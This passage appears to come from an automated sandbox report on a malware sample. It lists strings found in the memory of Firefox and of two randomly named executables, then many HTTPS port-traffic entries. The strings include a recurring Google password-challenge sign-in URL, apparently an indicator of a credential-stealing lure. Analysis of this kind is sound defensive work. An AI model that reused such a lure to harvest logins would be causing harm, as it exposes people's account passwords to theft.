Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BC7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2180000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 22a4a09ee3.exe, 00000009.00000003.2670963873.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/refox
Source: firefox.exe, 0000001A.00000002.2885865111.00000090E723B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E204F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54D3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/Zy#
Source: firefox.exe, 0000001A.00000002.3012593775.00000D3B64053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/Zy#
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3560000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E3568000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2973623994.000001F5DBED1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013353841.00001E9753103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.3007478563.000001F5E3568000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992274625.000001F5E1BA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897361049.000001F5C9950000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897078084.000001F5C9919000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2974318304.000001F5DBFF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901864507.000001F5D54EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2992027033.000001F5E1903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2888282363.0000014CC8724000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2874205406.00000207758AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2881970784.0000020775CF4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2736225643.000001CB84731000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2766706086.0000023235E6F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2897078084.000001F5C9919000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB7C1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB769000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2888282363.0000014CC8724000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2881970784.0000020775CF4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMozElements.MozEleme
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49868 -> 443
